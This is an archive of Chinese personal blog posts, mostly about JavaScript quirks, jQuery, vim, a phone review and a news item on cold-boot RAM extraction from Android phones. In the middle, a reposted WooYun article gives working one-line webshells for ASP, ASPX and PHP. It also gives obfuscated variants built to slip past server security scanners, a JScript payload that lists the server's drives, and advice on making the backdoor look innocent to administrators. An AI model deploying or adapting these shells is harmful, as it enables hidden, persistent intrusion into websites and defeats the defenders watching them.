Secbone 发布的文章

晚上下了班,和安然君一起,搭着穆神的顺风车,去市里交房租,我坐在后排小声的跟穆神说“我们这条命今天可就交在你手里了……”穆神一个急刹车,笑道“没问题呀!”

到了市里,和穆神别过,安然君问我“先去取钱?”于是我们俩各自掏出手机,查找附近的银行…… 短暂的确定路线以后,正准备启程,一抬头,发现诺大的招行大厦就在我们身边,大大的招牌那么显眼。安然君看了我一眼,“这事儿千万别说出去,太丢人了”

取了近一万块钱,从出钞口拿到钱的那一刻,突然觉得好厚的一打儿,活这么大还是第一次拿这么多钱,还有些小紧张,“钱包塞不下怎么办,好紧张”“没事儿,你在前面走,我保护你!”哈哈,两个逗逼少年……

由于时间还早,和安然君决定先去吃个饭,走到一个小区的路口,安然君说“吃什么?我请客!怎么样,大方吧?”“那你看咱还能吃得起什么?”“开什么玩笑,包里这么多钱呢”“要不咱去胡吃海喝一顿,然后买张火车票回家吧……”“滚!”

最后来到一家包子铺里,刚到柜台,“额,我们要……”“裙带的吧,只剩裙带的了”“额……”“一人两个裙带的怎么样?嗯,给你们一人两个裙带的”“额……”“再来两碗稀饭吧?一人一碗”“额……”,收银的姐姐对着后厨问了一句“是还剩小米稀饭吧?”“嗯,小米稀饭”“那给你们一人一碗小米稀饭,我在免费送你们一个凉菜,怎么样?”“额……”边说着边把小票已经打出来了。就这样,我们被点了餐,负责收拾今天的剩饭……

吃过饭,和安然君走在大街上,安然君指着不远处闪着霓虹的大楼说“看,大城市!”呵呵,是呀,大城市!大城市夜色总是那么华丽,华丽的让人有点儿晕……

故事的起因源于群中有人提的一个问题:

a(1)=1;

a(1)(2)=3;

a(1)(2)(3)=6;

还原出函数a

好吧,我刚看到这个题目的时候,第一反应就是递归的闭包,然后就写了下面这一版:

var a = function(num){
    this.sum = this.sum || 0;
    if(num){
        this.sum += num;
        return a;
    }
    var result = this.sum;
    delete this.sum;
    return result;
}

但是这样的执行是这样的:

a(1)();    // 1

a(1)(2)(); // 3

和题目要求的不一样,而且还有sum没有及时重置,所以,这个办法不行

然后想了一会儿没想出好办法,就去求助原公司大牛。果然大牛就是不一样,给出了下面这个解决方案

function a(x){
    var list = [];
    list.push(x);
    var y = function(xx){
        list.push(xx);
        return y;
    };
    y.valueOf = function(){
        return list.reduce(function(a,b){return a+b;},0);
    }
    return y;
}

利用valueOf和闭包里的一个list做的,果断膜拜了一下

然后,后来有看到群里有人给出了这样的答案:

function a(num){
    function b(i){
        return a(num+i);
    }
    b.toString = function(){
        return num;
    };
    return b;
}

也是可以的,然后就比较好奇,这个valueOf和toString是怎样被执行的呢?

果断去补习了一下基础知识:

对于所有的js对象(除了null以外),都有valueOf和toString方法,这是为了更方便的对一个对象进行值的操作

比如说我们要比较两个object的大小的时候,就可以定义一下它的valueOf方法或者toString來比较大小,那么到底什么时候会调用这两个方法呢?

来看一个小测试:

    var bbb = {
        i: 10,
        toString: function() {
          console.log('toString');
          return this.i;
        },
        valueOf: function() {
          console.log('valueOf');
          return this.i;
        }
      }
      alert(bbb);          // 10 toString
      alert(+bbb);         // 10 valueOf
      alert(''+bbb);       // 10 valueOf
      alert(String(bbb));  // 10 toString
      alert(Number(bbb));  // 10  valueOf
      alert(bbb == '10');  // true valueOf
      alert(bbb === '10'); // false

貌似是跟字符串有关的会调用toString,而根数字有关的会调用valueOf方法,但是,我们发现(''+bbb)这个调用的是valueOf,而最后的===则什么都没有调用,那我们再试一下:

    var aa = {
        i: 10,
        toString: function() {
          console.log('toString');
          return this.i;
        }
      }
      alert(aa);         // 10 toString
      alert(+aa);        // 10 toString
      alert(''+aa);      // 10 toString
      alert(String(aa)); // 10 toString
      alert(Number(aa)); // 10 toString
      alert(aa == '10'); // true toString

很和谐的全是toString,再看看valueOf的:

    var bb = {
        i: 10,
        valueOf: function() {
          console.log('valueOf');
          return this.i;
        }
      }
      alert(bb);         // [object Object]
      alert(+bb);        // 10 valueOf
      alert(''+bb);      // 10 valueOf
      alert(String(bb)); // [object Object]
      alert(Number(bb)); // 10 valueOf
      alert(bb == '10'); // true valueOf

我们发现中间出现了[object Object],貌似是从Object那里继承过来的,我们把它去掉试试:

Object.prototype.toString = null;
var cc = {
    i: 10,
    valueOf: function() {
        console.log('valueOf');
        return this.i;
    }
}
alert(cc);         // 10 valueOf
alert(+cc);        // 10 valueOf
alert(''+cc);      // 10 valueOf
alert(String(cc)); // 10 valueOf
alert(Number(cc)); // 10 valueOf
alert(cc == '10'); // true valueOf

貌似和谐多了,那我们基本可以看到是这样的,如果只定义了toString方法,那么当遇到需要类型转换的时候,就会直接调用toString方法,然后如果只定义了valueOf方法的话,转换数字的时候会优先调用valueOf方法,然后在转换字符串的时候,如果实在没有toString可以调用才会用valueOf代替,对于有操作符的情况下(比如=),valueOf的优先级要比toString要高

感谢 小秦 同学纠正:当转换为数字类型的时候,如果 valueOf 返回的不是基础类型,才会调用 toString 方法

好了,那我们还有最后一个问题,(''+bbb),这个字符串拼接为什么是调用的valueOf呢?

这个问题应该是因为+操作符上,这里会有一个getValue操作,然后就调用valueOf方法了

嗯,好的,今天就这么多,有不对的地方欢迎指正~

0x00 背景
话说现在针对Web端文件代码检测的服务器安全类软件已经非常普及了,常见的有阿D保护盾、安全狗、护卫神、360网站卫士。它们所拥有的功能也大致相同,如:
+---------------------㈠----------------------+  
|① 检查SQL注入                                |  
|② 检查XSS代码                                |  
|③ 检查网站中有危险代码的文件                    |  
|④ 数据库权限管理、风险行为检查                  |  
+---------------------㈡----------------------+  
|⑤ 网站流量监控                               |  
|⑥ 网站日志管理                               |  
|⑦ 系统进程管理                               |  
|⑧ 端口状态查看                               |  
|⑨ 系统账号、特殊位置文件检查                   |  
|⑩ 防御ddos、cc攻击                           |  
|   ……                                       |  
+-------------------------------------------+  
可以将这些功能按下面进行分类:
                                    +----(检测Get内容)  
                                    |  
                 +----(未入侵)-------|----(检测Post内容)  
                 |                  |  
                 |                  +----(检测Http请求头、请求频率等)  
安全类软件--|  
                 |                  +----(日志审查分析)  
                 |                  |  
                 +----(已入侵)-------|----(后门检测清除)  
                                    |  
                                    +----(系统安全加固)
本文所针对的情况是:在已取得Webshell(一句话)[为什么不是大马呢,因为大马被杀的机率更高]的情况下绕过网站安全类软件的检测成功执行任意代码。
0x01 技术细节
要让“一句话”可以接收代码、执行代码、返回结果,首先要具备的条件是“一句话”已经通过检查。好吧,少说废话,开始行动吧!
已准备工具:
D盾_Web查杀(D盾杀的Shell比较全)
ASP、ASPX、PHP原生态无污染一句话
<%eval request("z")%>;
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>;
<!--?php @eval($_POST['z']);?-->
来看一下D盾对原生一句话的查杀情况吧!
2013122817573781043.jpg
Shit!,级别为5(eval后门)全部杀掉!这样也就是说即使你的一句话已经躺在目标网站目录了,访问的时候也会被WAF断掉连接。这样一句话本身也就失去意义了,更别说去使用它了。
那么这种情况下该怎么做呢?我的答案是:就像Windows下做exe的免杀一样,找到杀软件杀掉的特征码然后改掉或是绕过。当然免杀Shell比免杀exe简单的多了……
开始对我们的一句话做“免杀”吧!在此之前先来了解一句话木马的原理。对比下asp、aspx、php一句话,你发现了什么?
2013122818002311061.jpg
看到了吧,不同语言的一句话构成几乎完全一致!(首先请求客户端数据,然后执行请求到的数据)至于执行数据的来源,可以是Post,也可以是Get、cookies、session等(依然是Post、Get);如果考虑到数据长度、编码、隐蔽性等诸多因素当然还是使用Post方法最为合适。
那么服务器安全类软件杀的究竟是什么东东呢?前面说过了:“特征”,我们来做如下测试:
2013122818021354299.jpg
我把Request/POST前随便加了一个字符,再扫一扫,结果如上图。可见安全类软件杀掉的不是eval(execute/executeglobal/assert……),而是eval+"请求数据"。当脚本内有eval字串时仅仅只是提醒而已(如果连执行函数都杀,那“上帝”造它干吗!)。但是上图中的三个脚本没一个是可以正常执行的,哪有srequest呢!
这样我们就没招了吗?答案是否定的!我们可以用这样的方式来绕一绕:[exec decoding(excoding)]=》伪代码。其中excoding为已经编码了的原生一句话。encode和decode函数自己创造吧……
经过一番功夫,我把Shell代码改造如下(当然如下代码都不是最好的,因为我有点懒):
ASP:
&lt;%
Function MorfiCode(Code)
    MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCode(")/*/z/*/(tseuqer lave")
%&gt;
ASPX:
<script runat="server" language="Jscript">
function popup(str){
    var q = "u";
    var w = "afe";
    var a = q + "ns" + w;
    var b = eval(str,a);
    return(b);
}
</script>
&lt;%
popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%&gt;
PHP
<!--?php
$mujj = $_POST['z'];
if($mujj!="")
{
    $xsser = base64_decode($_POST['z0']);
    @eval("\$safedg = $xsser;")
}
?-->
效果呢,如下图:
2013122818065476520.jpg
实测至此与Shell的连接已经不会被断了,而且以上三个一句话都支持我们亲爱的“菜刀”连接。但实际上你用菜刀是连不上的,因为安全类软件还会检测Get、Post、Cookies……的内容,菜刀Post数据包中含有太多的关键字(execute、response.write,base64_decode…… 不信你截包看一看)。这样有什么方法来突破呢?哈哈,两种方法:
一、反汇编改造“菜刀”(依然会有特征)       详见:http://zone.wooyun.org/content/8169
二、自己写个“菜刀”(可完全没有任何特征)   详见:http://zone.wooyun.org/content/8137
                    代码自定义编码后发送  
菜刀(客户端)《================================》一句话(服务端)  
                   解码后执行返回(编码)数据
现在,我们已经可以使用“菜刀”管理有网站安全类软件的站点了,可美中不足的是依然会被提示Execute/eval/base64_decode加密。因为正常情况下很少有用到eval/execute/executeglobal……函数(有经验的管理直接搜索eval、execute、assert等,见到包含在&lt;%%&gt;、就删……),那该怎么办才能忽悠住管理员让他保留我们的Shell呢?当然有答案,你可以构造一个注入或是文件上传,用到的时候再搞上自己的Shell,但我的目标是让我的一句话极具迷惑性(狗、神、盾、卫士哥不杀;管理员看不出这是一句话)。
在这种情况下,可能要面临一个艰难的决定:放弃我们的“菜刀”,客户端全部自写。把eval等关键代码全部写到标签内,因为安全类软件对标签内代码的检测较宽松,对&lt;%%&gt;、<!--?php ?-->等脚本标记内代码的正则检测较为严格。像
<script language="VBScript" runat="server">代码</script>
这样的之前可以用来完美“免杀”现在已经不行了,但我们还有JScript呀!所以我采用了冰狐:
<script runat="SERVER" language="JAVASCRIPT">eval(Request.form('#')+'')</script>
,重点对其进行改造!谁会注意LANGUAGE=JAVASCRIPT呢?
经过一番改造,最终代码如下:
<script runat="SERVER" language="JAVASCRIPT"> var P = Request.form('z'); var Wab = {'E' : eval}; Wab.E(P+''); </script>
看一下效果吧……
2013122818143369499.jpg
D盾已经没有任何提示了!那么该怎么用这个一句话呢?已经说过了无法使用“菜刀连接”。好吧,火狐中选post一段代码到这个一句话试试……
2013122818151026774.jpg
当然不仅限于显示网站路径,任意代码哦!试试:
try{var S="-&gt;|"+Server.Mappath("/")+"\t";var oFso = Server.CreateObject("Scripting.FileSystemObject");var oDrivers = oFso.Drives;for(var x=new Enumerator(oDrivers);!x.atEnd();x.moveNext()) {var oDriver = x.item();S+=oDriver.Path;}S+="|&lt;-";Response.write(S);}catch(e){}
2013122818165995078.jpg
这个一句话已经满足我们的所有要求了,但是你会说它依然不完美,因为它不支持Chopper!好吧,那就再费心改造一下吧…… 经过改造后的Shell代码如下:
<script runat="SERVER" language="JAVASCRIPT">
    var Sp = Request.form('z');
    var Fla = {'E' : eval};
    var St=""
    var A="XX代码";
    var B="XX代码";
    var C="XXXXXX"; ……
    switch(Sp) { case "A": St=A; break; case "B": St=B; break; case "C": St=C; break; case "D": St=D; case "E": St=E; break; …… default:} Fla.E(St+'');
</script>
这样就可以使用“菜刀”连接了(我省略了代码,精简了重点部分上面只是个示例。)
好吧,ASP一句话到这已经玩的很开心了,那接下来说下ASPX、PHP吧,是这样的,我不懂.net编程,也不懂PHP编程。自己顶多也就算是个无证&amp;业余程序猿,所以从这往下所述的您能看就看,不能看就使劲吐槽!!!!!
总的来说上面的ASPX一句话已经够玩了,但是如果您是个追求完美的人,您可以将您的代码编译入Dll,然后放入bin目录(lake2 N年前不就这么做了吗:WebAdmin 2.Y详见:http://blog.csdn.net/lake2/article/details/575602),dll中的代码用记事本能看吗!更别提杀了……
最后来说一下PHP吧,变形方法和ASP、ASPX的没什么两样。您可以将代码写入
<script language="php">标签内以增大迷惑性,但这一招和ASP的vbscript一样对于安全类软件早已经失效,没说它们视如所以呢,看实际情况和使用的地方了,自己选择。
通过简单的变量传递便可以实现免杀(php语法真的好灵活,能免的连个毛都不剩下)……
我使用如下代码作为一句话:
<?php
$x=$_POST['z'];
@eval("\$safedg = $x;");  
?>
当然您不满意的话可以继续搞,连eval都给拆了!使用preg_replace、array_map或是从REQUEST的变量中取得eval、assert……,实没D盾都会有不同等级的报告(提示可疑但不认识,毕竟这些不常用函数都挺有风险……),我是挺懒,不想搞了……
看效果:
2013122818201195763.jpg
关于如何玩转一句话已经写的差不多了(本人水平问题ASPX、PHP未能写的更详细!以后补充……)。如果将来一句话因为关键字被杀实再玩不鸟了(可能性不太大),那就转业自写Customize脚本吧,至少文件读写,数据库连接这些功能是不会被杀的。
参考:
http://qqhack8.blog.163.com/blog/static/114147985201211292209893/
http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
转自:http://drops.wooyun.org/tips/839</script>

话说好久没更新了,这次更新个水文,简单聊一下刚入手的小米2S

具体大概是中秋节前两天的时间,在小米官网放出的时候买了一部,然后手机和一个配件的套装组合是分开订单提交的,手机选的是工作日送货,配件是全部时间送货,然后悲剧就发生了。。。

第一天下完单,第二天,配建开始出库,第三天是中秋,配件就到了,然后中秋三天放假回来,手机的状态一直是正在配货,然后又过了两天,手机才开始出库,再然后的两天,手机的快递状态一直是在上海没动过,到了第三天的早上,突然快递就到我手里了。。。

好吧这些都是配货时候的事儿,稍显蛋疼,下面聊聊拿到手机以后的事儿

由于这是本人第一次用安卓手机(好吧,这里可以吐槽我,一直都在用诺基亚的小手机,终于这次换了安卓,主要原因是因为新出的应用都放弃塞班了,我表示很蛋疼。。。),然后也没有什么玩手机的经验,就写写我个人的一点感受吧

首先拿到包裹的时候,第一感觉是精致,虽然没有苹果那么精致,但是这种包装还是很喜欢的,然后就是小米挺贴心的那个保护膜,上面给标志出了几个功能键的位置个作用,直接就能上手,还是挺不错的。然后就是,扣后盖安电池,这里我表示这个后盖让我扣了半个小时。。。。表示小米的这种扣后盖的方式总是让我觉的是一种暴力拆迁。。。 然后,首次开机初始化比较慢,卡在那个小米的logo的地方就没有任何反馈了,以后开机都还挺快的,再然后就是感觉流畅度、反应速度什么都还不错,表示第一次用,也不知道什么鼓捣,总体感觉还不错,miui也确实很给力(表示个人选择小米的绝大部分原因就是喜欢miui)。 再然后就是在第二天晚上回去刷了个开发版,每周都更新这一点也是很让我喜欢的,每周都有一些好玩的东西出现(当然,不是没有的东西都很给力,不过能感觉自己的系统每周都在进化还是一种很不错的感觉),貌似再没有什么了。。  对了,忘了一点,就是吐槽一下小米侧边的几个按键,很软,按下去感觉没有任何反馈,也不知道按到什么程度了,这一点挺不爽的,然后套了一个小米的壳子,挺硬的,但是按下去依然没有手感,我觉得这一点应该可以改进。

总体来说,手机还是很不错的,尤其是miui,真的很赞,操作性挺爽(ios7.0那那个向上扔关闭后台的操作挺爽,小米这里也是想上扔,不过还是还是苹果的整个缩略界面扔上去的感觉爽,然后对ios7就木有别的好感了,只剩下了无尽的吐槽。。。),小米的耳机感觉也还不错,也挺精致。

嗯嗯,好吧,目前就这么多,好多人都问我为毛不等着买米3呢,我基本都是回一句:不喜欢,米3的造型个人不太喜欢(貌似是山寨的某款核桃手机),还是2S顺眼。。。。

好,就是这些~

话说这连天在修改原来老前辈留下来的js代码的时候,一不小心就遇到了一个蛋疼的问题,这里我就简单的抽象出一个模拟的栗子来,大概就是下面这个样子:


$("body").append("<textarea rows=6></textarea>");
console.log($("textarea").height());

差不多就是这样吧,so,console的结果是?


是红果果的0呀,有木有!! 后来就找公司大牛给解释一下,这货很淡定的在我的代码上加了这样一句:


setTimeout(function(){
    console.log($("textarea").height());
},0);

然后这个高度就毫无节操的跳出来了。。。


难道这个setTImeout(0)不就是立即执行的意思么?

蓝后捏,我就蛋疼的做了个实验:


console.log(1);
setTimeout(function(){
    console.log(2);
},0);
console.log(3);

so,结果捏?


嗯嗯,结果是 1 , 3 , 2  。。。。

好吧,这大概就可以解释一些东西了,当我在给body添加一个元素的之后,立刻去取这个元素的高度的时候,这时候js的这个添加的函数还没有完全执行完,虽然DOM中已经有了,但是浏览器也还没有渲染完成,所以这时候的取值是不正确的,而etTimeout之后,取值的操作就会被js放到下一个event loop中去执行,此时的添加和渲染DOM的操作都已经完成了,也就可以得到正确的结果了。。。

百度了一下,发现setTimeout(0)的应用还是挺广泛的,嗯嗯,看来以后要多多注意这些东西了~

嗯嗯,不过以上都是个人看法,如果有哪里理解有偏差的话,还是希望在大牛在留言里及时指出,嗯嗯~

好啦,就先到这吧,话说这几天好热,整个人都化了,木精神~ =.=!

嗯嗯,要是以后还发现其他的用处的话,应该还有后续滚动~ 嗯嗯,就这个样子~

好吧,好久木有更新了,今天就先更新一下今天学习vim的记录吧,其实估计也就几行,主要是记录一下,也希望能帮到刚开始玩vim的童鞋。。

恩恩,废话不多说了,其实很简单,也不需要上网找什么教程,只要你在终端运行下面这条命令

$ vimtutor

当当当当~   教程粗线了~  恩恩,你和你的小伙半们是不是也惊呆了呢?  哈哈,就下来就是按照教程一步一步学习,很快就会对vim有一个比较全面的认识。。。

好吧,今天要说的就这么多,以后表示更新会比较勤一点,希望还会有人继续支持一下~

今天晚上闲下来想去试试Jquery的animate函数,本来想随便写个看看效果,兰侯就去吃饭的,结果。。。。

先来看看刚开始写的吧


<html>
<head>
	<script src="http://code.jquery.com/jquery-1.9.1.min.js" language="Javascript"></script>
	<script>
		$(function(){
			$(".green").click(function(){
				$(this).animate({top : "300px"},300,"linear",function(){
					thi = $(this);
					setTimeout(function(){
						thi.animate({top : "100px"},300);
					},1000);
				});
			});
		})
	</script>
	<style>
		.green{
			position : relative;
			float : left;
			top : 100px;
			left : 200px;
			margin : 10px;
			height : 100px;
			width : 100px;
			background-color : green;
		}
	</style>
</head>
<body>
	<div class="green"></div>
</body>
</html>

特别简单的代码,就是看看animate的效果,木有其他的想法,运行起来也木有问题。。。


本来这样就行了嘛,大家都好好的,结果,好吧,我手贱了,我多加了两个div,然后就。。。。


<html>
<head>
	<script src="http://code.jquery.com/jquery-1.9.1.min.js" language="Javascript"></script>
	<script>
		$(function(){
			$(".green").click(function(){
				$(this).animate({top : "300px"},300,"linear",function(){
					thi = $(this);
					thi.html("111");
					setTimeout(function(){
						thi.html("222");
						thi.animate({top : "100px"},300);
					},1000);
				});
			});
		})
	</script>
	<style>
		.green{
			position : relative;
			float : left;
			top : 100px;
			left : 200px;
			margin : 10px;
			height : 100px;
			width : 100px;
			background-color : green;
		}
	</style>
</head>
<body>
	<div class="green"></div>
	<div class="green"></div>
	<div class="green"></div>
</body>
</html>

额,当我快速将三个div都点击下去之后,好吧,我惊喜的发现只有最后一个起来了,而前两个都木有反应啊。。。。


蛋疼的人总是这样,然后就找原因呗,寻思了一下,感觉是因为setTimeout里使用的thi变量被覆盖的缘故。。。。

加了个输出后发现,应该就是这个的缘故,但是这是为什么呢?不是应该互不影响的么?

晚上睡觉的时候,我突然间想到一件事,没有用var声明的变量会变成全局变量,会不会是因为这个? 果断起来试了一下,问题就这么解决了。。。。

<html>
<head>
	<script src="http://code.jquery.com/jquery-1.9.1.min.js" language="Javascript"></script>
	<script>
		$(function(){
			$(".green").click(function(){
				$(this).animate({top : "300px"},300,"linear",function(){
					var thi = $(this);
					thi.html("111");
					setTimeout(function(){
						thi.html("222");
						thi.animate({top : "100px"},300);
					},1000);
				});
			});
		})
	</script>
	<style>
		.green{
			position : relative;
			float : left;
			top : 100px;
			left : 200px;
			margin : 10px;
			height : 100px;
			width : 100px;
			background-color : green;
		}
	</style>
</head>
<body>
	<div class="green"></div>
	<div class="green"></div>
	<div class="green"></div>
</body>
</html>

好吧,一失足成千古恨,我就是一个失足少年呀~  现在觉的前端的编程规范真的很重要,以后要好好学习了。。。。


再兰候就是博客升了个级,貌似代码运行的插件不能用了,就先这样吧,最近也在准备弄VPS,博客这就先这样了,以后有时间了再好好弄弄。。。


就是这样。。。。 嗯嗯。。。。

腾讯数码讯(金鑫)研究人员发现,在给Android手机降温之后,即使手机被加密,你也可以从手机RAM中提取数据。这听上去似乎有点奇怪,但它显然是一个值得认真对待的安全问题。这个问题的研究者是德国埃尔兰根大学的科学家,他们称这个过程为“FROST”(Forensic
Recovery of Scrambled Telephones:加密手机法医恢复法)。

转播到腾讯微博

冰冻后可获取加密数据 Android被指存安全隐患

研究人员在测量三星 Galaxy
Nexus温度(腾讯科技配图)

转播到腾讯微博

冰冻后可获取加密数据 Android被指存安全隐患

加密手机法医恢复法“FROST”的现场(腾讯科技配图)

研究人员发现:如果把手机的RAM冷却足够长的时间,你就可以在一个较短的时间窗口(仅几秒钟)内,把手机连接到电脑上,提取出存储在RAM中的数据。当然,不是手机中存储的所有东西你都可以手到擒来,但有时你可以提取到解锁设备的密码。

“在较低温度下,RAM上的内容不会立刻丢失,”一名研究员解释说:“如果温度是30度,一两秒钟之内内容就会丢失,如果你降低手机的温度,要过五到六秒钟内容才会丢失。这给了我们提供了足够多的时间来重新启动手机并获取内存数据。”

冰冻后可获取加密数据 Android被指存安全隐患

室温下手机RAM丢失数据的速度(腾讯科技配图)

左起第二张图代表研究人员最早可以提取数据时数据的状态, 最后一张图代表6秒种后的状态。

转播到腾讯微博

冰冻后可获取加密数据 Android被指存安全隐患

在不同的温度下,随着时间推移,RAM丢失数据的百分比(腾讯科技配图)

科学家们认为iOS设备没有这个问题,他们指出,要想完整提取手机的数据,就需要解锁bootloader。但即使不解锁bootloader,黑客也有可能提取到Wi-Fi密码、电子邮件、照片等等。完整的研究报告预计将很快发布。

                                                                                               ------摘自:腾讯科技

<p>先声明一下,以下内容完全是个人经验的认识,并不保证正确,不要误导了还在茁壮成长的童鞋~</p>
<p> </p>
<p>此事说来话长,话说从盘古开天辟的时候。。。(这你妹也太长了点儿吧。。。)</p>
<p>=。=!  好吧好吧,其实就是昨天,办公室里的一个师哥在研究JS的闭包,然后就追溯到了JS变量的作用域链,并且最后弄出了这样一段代码:</p>
<p></p>

function makefunc(x) { 
  return function() { 
    return x; 
  }
}
var a = [makefunc(0), makefunc(1), makefunc(2)]; 
alert(a[0]()); 
alert(a[1]()); 
alert(a[2]());
<p></p> <p>结果就是分别弹出:0,1,2</p> <p> 这里就看出了,makefunc这个函数每次返回的函数都是相同的,但是,返回的函数的执行环境不同,也就是说这个函数所处的作用域链是不同的。。。</p> <p>当每次执行makefunc这个函数时,返回的是一个相同的匿名函数和这个匿名函数执行所需要的环境的综合体,这也就是传说中的闭包~ (主角终于登场了~)</p> <p> 那么我们就可以看出,数组a的每一个元素,其实都是一个function,用a[0]()这样的方式来执行它,从而得到了上面的结果,那当我们console.log出数组a的时候(不晓得用console.log出来的结果是不是足以证明一下的结论。。。。),我们发现它的每个元素里面都带有这个function执行时需要的变量x,也就是其实在a数组中的每个元素都是有他的完整的一套执行代码和运行空间,也就是闭包的真面目。。。。。</p> <p>那然后呢,我们俩个有继续巴拉巴拉。。。。。  说道作用域,又说道JS代码在执行时变量的存储和回收,于是就出现了下面这段代码:</p> <p></p>
var a = 10;
function b(){
    a = 3;
    function a(){}
}
b();
alert(a);
<p></p> <p>嘿嘿,看官们觉的这段代码的弹出结果是什么捏?</p> <p>function ? 不对~   3 ?  不对~  是10~!</p> <p>有木有,它竟然是10~! 你让函数里面那两个a情何以堪啊~</p> <p>那这是为什么捏? 其实还是比较简单的,是因为js在执行前,会先扫描一下全文,把用到的变量先在作用域的开头做一次声明,也就是我们看到的function a(),它的作用域是整个b函数,我们也知道</p> <p>function a(){} 和 var a = function(){} 是一样的,所以其实上面的代码在js的执行顺序是这样的</p> <p></p>
var a = 10;
function b(){
    var a ;
    a = 3;
    a = function(){};
}
b();
alert(a);
<p></p> <p>亲们,这下看出来了吧,函数里面的变量a在函数执行完后被回收,所以,下面的弹窗是显示的最开始的a的值。。。。。</p> <p>额,好吧,总觉得js的这个做法有些坑,但是还挺好玩的~</p> <p>那么,现在我们弄明白了js的作用域、作用域链以及传说中强大的闭包,那么我们就写个封装在闭包里的函数吧~</p> <p></p>
(function(){
  .........
})();
<p></p> <p>诶~ 诶~ 诶~ 等会儿~ function外面的那个小括号是干什么滴捏?</p> <p>封装闭包呀~封装闭包为什么要有一个小括号捏?话说没有那个小括号的话,function就不是闭包了?这个小括号在这里到底起了什么作用捏?(。。。。。  这。。。。  我还以为要结束了呢,怎么又来这么多问题?!)(所以才说是引发的“血案”啊~)</p> <p>好吧,那就再看看这个传说中的小括号吧~</p> <p>那么首先我们知道:</p> <p></p>
(fucntion(){alert(1);})();
<p></p> <p>这样写的话,里面的匿名function是会被执行的,那么当我们把小括号去掉呢?  </p> <p></p>
function(){alert(1);}();
好吧,我承认他执行不了。。。 = =!<p></p> <p>话说那去掉括号后要怎么样才会执行呢? 很明显给它加函数名调用嘛~</p> <p></p>
function a(){alert(1);};
a();
额,好吧,那话说我加上括号的话,再这样调用呢?<p></p> <p></p>
(function a(){alert(1)});
a();
哎呦喂~  竟然提示说a未定义~  这。。。。。<p></p> <p>那我们把里面的函数赋给一个全局变量会怎么样呢?</p> <p></p>
var a;
(a = function(){alert(1);});
a();
好吧,它执行了也就是说原来的代码在小括号作用完成后,里面的a被回收了。。。。<p></p> <p>经过翻阅资料,发现这里的小括号的作用是强制表达式运算,那么,也就是说它会让里面的表达式强制性进行一遍运算~</p> <p>那么,大概可以猜测上面的小括号的作用应该是类似于下面的代码</p> <p></p>
function (){
  return function (){alert(1);};
}
也就是说小括号运算结束后,把里面的a函数以匿名函数的方式返回回来,而返回的匿名函数实际上就是一个有执行代码和执行环境的一个闭包,这样,也就是实现了把方法封装到一个闭包里了。。。。<p></p> <p>然后放出两个查到的资料:</p> <p>JS小括号的作用</p> <p>JS声明变量的原理</p> <p> </p> <p>然后捏,上一张”闭包“的果照~(哇哈哈哈哈哈~)</p> <p> </p> <p> </p> <p>哇哈哈哈哈~  很上镜哦~</p> <p> </p> <p> </p> <p>最后,惯有的唠叨几句:</p> <p>话说再过两天就要回家了呀~  小心情还是很鸡冻滴~  还是觉的这个寒假要好好珍惜,嗯嗯~  多的就先不啰嗦了,等回家有时间再说吧~  嗯嗯,今天就到这里吧~  </p> <p>对了~  我觉得我得求一份工作了~  六月份就毕业了,o(︶︿︶)o 唉~  桑不起呀~  </p> <p>好了好了,就到了这了,还是祝大家都开心哈~</p> [1]: https://secbone.com/usr/uploads/2015/08/1171503046.jpg

    还久没更新了,主要是对新的项目木有头绪,感觉手足无措呀。。。。

    最近一直在纠结于jquery选择器的问题,昨天经小松哥点拨,写了个关于jquery选择兄弟元素的小demo,虽然还没有解决我现在的问题,但是还是放出来分享一下:

    兄弟元素选择主要是用siblings()这个函数,使用方法如下:

    $("#aa").siblings().click(.....)    就是说选择id为aa的元素的所有同级的兄弟元素添加click事件,但是只有同级的。

    小demo如下:


嗯嗯,就是这个样子啦。。。。。

话说就快要过年了,我的实习也快要结束了,嗯嗯,加油了,大家都加油喽~

对了,再次鸣谢一下小松哥~  o(∩_∩)o 哈哈